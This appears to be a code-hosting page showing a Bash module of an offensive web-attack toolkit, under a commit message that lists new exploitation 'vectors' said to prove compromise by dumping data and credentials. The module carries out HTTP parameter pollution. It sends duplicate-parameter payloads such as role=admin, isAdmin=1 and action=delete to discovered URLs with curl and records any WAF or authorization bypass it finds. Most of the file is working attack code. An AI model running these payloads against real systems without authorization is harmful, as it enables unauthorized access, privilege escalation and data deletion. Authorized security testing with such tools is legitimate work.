d2bc52905d
New vectors added: - 22: SSRF Proof — cloud metadata exfiltration (CRITICAL) - 23: Prototype Pollution — Node.js client/server (HIGH) - 24: WebSocket Hijack — WS origin bypass + injection (HIGH) - 25: Mass Assignment — protected field modification (HIGH) - 26: HTTP Parameter Pollution — WAF bypass (HIGH) - 27: Insecure Deserialization — PHP/Java/Node (CRITICAL) - 28: OAuth Takeover — redirect_uri / state / CSRF (CRITICAL) - 29: Web Cache Poisoning — unkeyed header injection (HIGH) - 30: CRLF Injection — HTTP response splitting (CRITICAL) All vectors PROVE exploitation by dumping data/credentials, not just detecting config issues.
86 lines
2.7 KiB
Bash
86 lines
2.7 KiB
Bash
#!/usr/bin/env bash
|
|
# Vector 26: HTTP Parameter Pollution (HPP) — WAF/security bypass
|
|
# Desc: Injects duplicate params to bypass WAF rules
|
|
# Severity: HIGH
|
|
# Proof: Parameter smuggling confirms bypass
|
|
|
|
vector_hpp() {
|
|
local target="$1"
|
|
local report="$2"
|
|
local domain=$(get_domain "$target")
|
|
local findings=0
|
|
|
|
print_info "Hunting HTTP Parameter Pollution..."
|
|
|
|
local base=$(get_base "$target")
|
|
local urls=$(get_discovered_urls "$domain" 2>/dev/null | grep '?' | head -10)
|
|
|
|
[ -z "$urls" ] && urls="${target}?test=1"
|
|
|
|
# HPP techniques — duplicate params with different values
|
|
local hpp_attacks=(
|
|
# Parameter pollution
|
|
"admin=false&admin=true"
|
|
"isAdmin=0&isAdmin=1"
|
|
"role=user&role=admin"
|
|
"user_id=1&user_id=2"
|
|
"debug=0&debug=1"
|
|
"access=denied&access=allowed"
|
|
"authenticated=false&authenticated=true"
|
|
"verified=0&verified=1"
|
|
# WAF bypass via encoding mix
|
|
"id=1&id[]=2&id=3"
|
|
"id=1%26id=2"
|
|
# PHP array pollution
|
|
"user[]=admin"
|
|
"role[]=admin&role[]=user"
|
|
# Session/state override
|
|
"step=1&step=skip&step=complete"
|
|
"action=view&action=delete"
|
|
)
|
|
|
|
for url in $urls; do
|
|
# Extract base URL (without params)
|
|
local base_url=$(echo "$url" | cut -d'?' -f1)
|
|
local existing_params=$(echo "$url" | cut -d'?' -f2-)
|
|
|
|
for attack in "${hpp_attacks[@]}"; do
|
|
# Test with HPP appended
|
|
local test_url="${base_url}?${existing_params}&${attack}"
|
|
local response=$(curl -s --connect-timeout 5 --max-time 8 "$test_url" 2>/dev/null)
|
|
|
|
# Check for evidence of HPP success
|
|
if echo "$response" | grep -qi '"admin":true\|"role":"admin"\|"access":"allowed"'; then
|
|
print_find "HPP Bypass Confirmed!" "$attack"
|
|
echo "SEVERITY: HIGH
|
|
VECTOR: HTTP Parameter Pollution
|
|
DETAIL: Duplicate parameter caused server-side value override
|
|
URL: $test_url
|
|
PAYLOAD: $attack
|
|
EXPLOIT: Bypass WAF, access unauthorized data" > "$REPORTS_DIR/.finding_hpp_$(date +%s).txt"
|
|
findings=$((findings + 1))
|
|
break 2
|
|
fi
|
|
|
|
# Test for different responses (one should work, one shouldn't)
|
|
local clean_resp=$(curl -s -o /dev/null -w "%{size_download}" --connect-timeout 5 --max-time 8 "$url" 2>/dev/null)
|
|
local hpp_resp=$(curl -s -o /dev/null -w "%{size_download}" --connect-timeout 5 --max-time 8 "$test_url" 2>/dev/null)
|
|
|
|
if [ "$clean_resp" != "$hpp_resp" ] && [ -n "$clean_resp" ] && [ -n "$hpp_resp" ]; then
|
|
local diff=$((hpp_resp - clean_resp))
|
|
if [ "${diff#-}" -gt 100 ]; then
|
|
print_find "HPP Response Differed" "Response size: $clean_resp → $hpp_resp bytes"
|
|
findings=$((findings + 1))
|
|
break 2
|
|
fi
|
|
fi
|
|
done
|
|
done
|
|
|
|
if [ "$findings" -eq 0 ]; then
|
|
print_info "No HPP found"
|
|
fi
|
|
|
|
return $findings
|
|
}
|